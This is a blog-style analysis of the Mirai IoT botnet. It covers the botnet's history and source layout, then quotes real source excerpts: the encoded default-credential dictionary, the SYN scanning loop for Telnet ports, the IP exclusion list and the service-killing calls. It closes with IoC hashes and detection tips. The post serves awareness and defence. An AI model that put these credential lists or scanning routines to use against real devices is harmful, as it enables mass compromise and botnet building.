Curiosities about Mirai Malware
Collaboration with
Warning
This post is not intended to encourage any illegal activity. Its purpose is to analyze the mechanisms employed by malicious attackers, serving as a cautionary measure and promoting awareness about cybersecurity. There is no intention to compromise the security of our lives (I am vehemently against any such attempts); rather, the aim is to disseminate knowledge about information technology and security. It is recommended that the content be used exclusively to enhance understanding of the subject and safeguard digital environments.
”Cybersecurity is much more than a technical issue; it’s a matter of trust.” - Jim Stickley
Intro
Let’s go back to the year 2016. IoTs were booming, the power of the internet could affect our lives more directly, and everything could be connected to the internet. That’s perfect, it’s really good that everything is connected. But let’s look at this critically; the information security culture wasn’t mature yet (not that it is today). The phrase I hear most often is: Why would they hack me? I’m not even important.
Mirai, the Future
Mirai was a malware that self-propagated in a worm-like fashion, turning devices into part of a botnet. Attackers used brute-force attacks on public IPs, and if successful, infected the device, primarily targeting security cameras and other IoT devices based on Linux. The objective was to infect a wide range of IoT devices, from residential to corporate, even targeting critical infrastructures. Mirai made no distinction and sought to exploit any vulnerable device it encountered.
Mirai was responsible for a series of high-profile attacks, including the DDoS attack against the internet service provider Dyn in October 2016. This attack led to significant disruptions in online services, affecting major platforms such as Twitter, Netflix, PayPal, and many others. Furthermore, Mirai remained a persistent threat, with new variants emerging to exploit new vulnerabilities and further expand its botnet network.
- September 2016 – Mirai attacks Krebs on Security.
- October 2016 – Anna-Senpai publishes Mirai’s source code.
- 21st October 2016 – Mirai strikes Dyn.
- November 2016 – Mirai attacks several Liberian telecom companies.
- 30th November 2016 – Mirai attacks ISP Deutsch Telekom
- January 2017 – Krebs concludes the investigation. Mirai’s authors are arrested and sentenced.
- 2018 – OMG, Mira’s first variant, is detected in the wild.
- 2021 – ZHTrap and Mukashi are detected in the wild.
It’s funny, people don’t understand the impact of their online life, the power of their devices, of their virtual identity. Mirai exploited this kind of thinking. “Nobody would want to see what’s on my building’s camera.” The camera on your building is a powerful tool. For example, in terms of software, the Axis M3046-V runs firmware developed by Axis, usually based on embedded operating system technologies. This includes network protocols like TCP/IP, RTSP (Real-Time Streaming Protocol), and HTTP (Hypertext Transfer Protocol) for video transmission. Now, imagine someone who has thousands of devices like this under their control, and launches a DDoS attack.
Mirai’s malware has a grandfather and a father named Linux.DDoS.87 and Linux.DDoS.89 respectively. However, our focus today remains on Mirai, which has its source code published and has been analyzed multiple times at other times, but I like to go over things again and here the analysis will be done for dummies like me who enjoy reading a very digestible analysis ;p. The idea is not to go through each script (do that at your own risk), but to give an overview.
The post
In October 2016, shortly after one of the first DDoS attacks by the Mirai botnet, the source code was made available by a user on a forum claiming to be the author (Anna-Senpai). They mentioned they did it because they had made their money and their botnet was losing a significant number of zombies, so they would do the “favor” of releasing the code to the public. They made some taunts towards the folks at malwaremustdie, saying they didn’t do a good reverse (earned my respect for the boldness, hahahah). So today, let’s review the code that was made available.
Note: In case you want to check the original post, I’ll leave a link at the end.
The best language combination
For building the malware, two languages were used: C for the bots (zombies) and Go for the Command and Control (C&C) platform. I found the choice of languages quite appropriate since C provides greater freedom to the developer due to its low-level nature. Meanwhile, Go shines for its concurrency and memory management, which makes it easier to manage thousands of connections from the bots.
Folder Structure
If you’re like me, you probably enjoy evaluating the project by its file architecture. Folder names and scripts often tell more than the code itself. So, let’s try to dissect the file architecture:
1
2
3
4
5
6
7
8
9
10
.
├── dlr -> The download folder, where the bot is downloaded based on system architecture
│
├── loader -> This directory seems to contain the malware's loader component. The loader is responsible for loading and executing the Mirai bot after download.
│ └── src
│ └── headers
├── mirai -> This directory seems to contain the main components of the Mirai bot. This includes subdirectories such as "bot" for the Mirai bot source code, "cnc" for the command and control server source code, and "tools" for any auxiliary tools related to Mirai.
│ ├── bot
│ ├── cnc
│ └── tools
With this, we can anticipate what to expect in the scripts within each directory.
Multiplication and Invasion
The question that remains is: How are the devices infected? How do the bots reproduce? What’s the tactic, what’s the big exploit that no one could imagine? Well, it’s nothing incredible, not a firmware zero-day or anything like that; the malware simply takes advantage of people’s innocence and irresponsibility. The bots themselves infect other devices, performing a large-scale IP scan, looking for devices with default or commonly known usernames and passwords (e.g., admin/admin). It’s a dictionary-based brute-force attack, and the dictionary provided is as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10); // root xc3511
add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9); // root vizxv
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8); // root admin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7); // admin admin
add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6); // root 888888
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5); // root xmhdipc
add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5); // root default
add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5); // root juantech
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5); // root 123456
add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5); // root 54321
add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5); // support support
add_auth_entry("\x50\x4D\x4D\x56", "", 4); // root (none)
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51\x55\x4D\x50\x46", 4); // admin password
add_auth_entry("\x50\x4D\x4D\x56", "\x50\x4D\x4D\x56", 4); // root root
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17", 4); // root 12345
add_auth_entry("\x57\x51\x47\x50", "\x57\x51\x47\x50", 3); // user user
add_auth_entry("\x43\x46\x4F\x4B\x4C", "", 3); // admin (none)
add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51", 3); // root pass
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C\x13\x10\x11\x16", 3); // admin admin1234
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x13\x13\x13", 3); // root 1111
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x51\x4F\x41\x43\x46\x4F\x4B\x4C", 3); // admin smcadmin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13", 2); // admin 1111
add_auth_entry("\x50\x4D\x4D\x56", "\x14\x14\x14\x14\x14\x14", 2); // root 666666
add_auth_entry("\x50\x4D\x4D\x56", "\x52\x43\x51\x51\x55\x4D\x50\x46", 2); // root password
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16", 2); // root 1234
add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11", 1); // root klv123
add_auth_entry("\x63\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x4F\x47\x4B\x4C\x51\x4F", 1); // Administrator admin
add_auth_entry("\x51\x47\x50\x54\x4B\x41\x47", "\x51\x47\x50\x54\x4B\x41\x47", 1); // service service
add_auth_entry("\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", "\x51\x57\x52\x47\x50\x54\x4B\x51\x4D\x50", 1); // supervisor supervisor
add_auth_entry("\x45\x57\x47\x51\x56", "\x45\x57\x47\x51\x56", 1); // guest guest
add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1); // guest 12345
add_auth_entry("\x45\x57\x47\x51\x56", "\x13\x10\x11\x16\x17", 1); // guest 12345
add_auth_entry("\x43\x46\x4F\x4B\x4C\x13", "\x52\x43\x51\x51\x55\x4D\x50\x46", 1); // admin1 password
add_auth_entry("\x43\x46\x4F\x4B\x4C\x4B\x51\x56\x50\x43\x56\x4D\x50", "\x13\x10\x11\x16", 1); // administrator 1234
add_auth_entry("\x14\x14\x14\x14\x14\x14", "\x14\x14\x14\x14\x14\x14", 1); // 666666 666666
add_auth_entry("\x1A\x1A\x1A\x1A\x1A\x1A", "\x1A\x1A\x1A\x1A\x1A\x1A", 1); // 888888 888888
add_auth_entry("\x57\x40\x4C\x56", "\x57\x40\x4C\x56", 1); // ubnt ubnt
add_auth_entry("\x50\x4D\x4D\x56", "\x49\x4E\x54\x13\x10\x11\x16", 1); // root klv1234
add_auth_entry("\x50\x4D\x4D\x56", "\x78\x56\x47\x17\x10\x13", 1); // root Zte521
add_auth_entry("\x50\x4D\x4D\x56", "\x4A\x4B\x11\x17\x13\x1A", 1); // root hi3518
add_auth_entry("\x50\x4D\x4D\x56", "\x48\x54\x40\x58\x46", 1); // root jvbzd
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x4C\x49\x4D", 4); // root anko
add_auth_entry("\x50\x4D\x4D\x56", "\x58\x4E\x5A\x5A\x0C", 1); // root zlxx.
add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x54\x4B\x58\x5A\x54", 1); // root 7ujMko0vizxv
add_auth_entry("\x50\x4D\x4D\x56", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // root 7ujMko0admin
add_auth_entry("\x50\x4D\x4D\x56", "\x51\x5B\x51\x56\x47\x4F", 1); // root system
add_auth_entry("\x50\x4D\x4D\x56", "\x4B\x49\x55\x40", 1); // root ikwb
add_auth_entry("\x50\x4D\x4D\x56", "\x46\x50\x47\x43\x4F\x40\x4D\x5A", 1); // root dreambox
add_auth_entry("\x50\x4D\x4D\x56", "\x57\x51\x47\x50", 1); // root user
add_auth_entry("\x50\x4D\x4D\x56", "\x50\x47\x43\x4E\x56\x47\x49", 1); // root realtek
add_auth_entry("\x50\x4D\x4D\x56", "\x12\x12\x12\x12\x12\x12\x12\x12", 1); // root 00000000
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x13\x13\x13\x13\x13\x13", 1); // admin 1111111
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16", 1); // admin 1234
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17", 1); // admin 12345
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x17\x16\x11\x10\x13", 1); // admin 54321
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x13\x10\x11\x16\x17\x14", 1); // admin 123456
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x15\x57\x48\x6F\x49\x4D\x12\x43\x46\x4F\x4B\x4C", 1); // admin 7ujMko0admin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x16\x11\x10\x13", 1); // admin 1234
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x52\x43\x51\x51", 1); // admin pass
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x4F\x47\x4B\x4C\x51\x4F", 1); // admin meinsm
add_auth_entry("\x56\x47\x41\x4A", "\x56\x47\x41\x4A", 1); // tech tech
add_auth_entry("\x4F\x4D\x56\x4A\x47\x50", "\x44\x57\x41\x49\x47\x50", 1); // mother fucker
You can find it within the script scanner.c.
Moreover, before this brute-force attack, it performs an IP scan. Here’s the code snippet that does that:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// Spew out SYN to try and get a response
if (fake_time != last_spew)
{
last_spew = fake_time;
for (i = 0; i < SCANNER_RAW_PPS; i++)
{
struct sockaddr_in paddr = {0};
struct iphdr *iph = (struct iphdr *)scanner_rawpkt;
struct tcphdr *tcph = (struct tcphdr *)(iph + 1);
iph->id = rand_next();
iph->saddr = LOCAL_ADDR;
iph->daddr = get_random_ip(); // Here is where the random IP address is obtained
iph->check = 0;
iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr));
if (i % 10 == 0)
{
tcph->dest = htons(2323); // Destination port is set here (2323)
}
else
{
tcph->dest = htons(23); // Destination port is set here (23)
}
tcph->seq = iph->daddr;
tcph->check = 0;
tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof (struct tcphdr)), sizeof (struct tcphdr));
paddr.sin_family = AF_INET;
paddr.sin_addr.s_addr = iph->daddr;
paddr.sin_port = tcph->dest;
sendto(rsck, scanner_rawpkt, sizeof (scanner_rawpkt), MSG_NOSIGNAL, (struct sockaddr *)&paddr, sizeof (paddr));
}
}
The code performs scanning on two different ports: 23 (Telnet) and 2323 (a common alternative port for Telnet). The endpoint where login attempts are made is specified within the main loop of the scanner_init function. Depending on certain conditions, such as the number of SYN packets sent, the destination port of the packets may be alternated between 23 and 2323.
They know their limits
Indeed, creators of malware may be reckless, but not to that extent. We can see that the scanned IPs have a lock that prevents some IPs belonging to the famous DoD, among other institutions that could cause bigger problems. Everything is funny until attacking the DoD.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
while (o1 == 127 || // 127.0.0.0/8 - Loopback
(o1 == 0) || // 0.0.0.0/8 - Invalid address space
(o1 == 3) || // 3.0.0.0/8 - General Electric Company
(o1 == 15 || o1 == 16) || // 15.0.0.0/7 - Hewlett-Packard Company
(o1 == 56) || // 56.0.0.0/8 - US Postal Service
(o1 == 10) || // 10.0.0.0/8 - Internal network
(o1 == 192 && o2 == 168) || // 192.168.0.0/16 - Internal network
(o1 == 172 && o2 >= 16 && o2 < 32) || // 172.16.0.0/14 - Internal network
(o1 == 100 && o2 >= 64 && o2 < 127) || // 100.64.0.0/10 - IANA NAT reserved
(o1 == 169 && o2 > 254) || // 169.254.0.0/16 - IANA NAT reserved
(o1 == 198 && o2 >= 18 && o2 < 20) || // 198.18.0.0/15 - IANA Special use
(o1 >= 224) || // 224.*.*.*+ - Multicast
(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense
);
A Territorial Predator
“Another interesting thing about Mirai is its “territorial” nature. The malware holds several killer scripts meant to eradicate other worms and Trojans, as well as prohibiting remote connection attempts of the hijacked device.
For example, the following scripts close all processes that use SSH, Telnet and HTTP ports:
1
2
3
killer_kill_by_port(htons(23)) // Kill telnet service
killer_kill_by_port(htons(22)) // Kill SSH service
killer_kill_by_port(htons(80)) // Kill HTTP service
”
IoC
SHA1 Hashes:
- Linux.Mirai:
7e0e07d19b9c57149e72a7ed266e0c8aa5019a6f
- Linux.DDoS.89 (Mirai’s father):
846b2d1b091704bb5a90a1752cafe5545588caa6
- Linux.DDoS.87 (Mirai’s grandfather):
c129e2a23abe826f808725a0724f12470502a3cc
(x86)8fd0d16edf270c453c5b6b2481d0a044a410c7cd
(ARM)9ff383309ad63da2caa9580d7d85abeece9b13a0
(ARM)
Overview:
Linux.Mirai:
The transformation to the Linux.Mirai family marked a significant change in the cyber threat landscape. Mirai not only inherited the capabilities of its predecessors but also introduced new features such as a more modular architecture, support for a wider range of processor architectures, and a more sophisticated command and control infrastructure. Additionally, Mirai was designed to infect a wide range of IoT devices, from surveillance cameras to smart thermostats, thereby increasing the potential size of the botnets it could create. It also utilizes HTTP flooding.
Linux.DDoS.89 (Mirai’s father):
This variant inherits traits from its predecessor but with enhancements.
Linux.DDoS.87 (Mirai’s grandfather):
This version is the earliest known ancestor of the Mirai family.
Resource Utilization Analysis:
Unusual Behavior: Watch for anomalous behavior on IoT devices, such as sudden spikes in CPU or network usage, which may indicate infection.
Default Credentials: Monitor login attempts using default usernames and passwords commonly exploited by Mirai. Examples include “root” with passwords like “admin,” “1234,” or “password.”
Scanning Activity: Look for unusually high levels of scanning activity on ports associated with vulnerable IoT devices, such as Telnet (TCP port 23) and SSH (TCP port 22).
Sources
https://st.drweb.com/static/new-www/news/2016/september/Investigation_of_Linux.Mirai_Trojan_family_en.pdf https://heimdalsecurity.com/blog/mirai-botnet-phenomenon/ https://www.imperva.com/blog/malware-analysis-mirai-ddos-botnet/ https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/ https://github.com/jgamblin/Mirai-Source-Code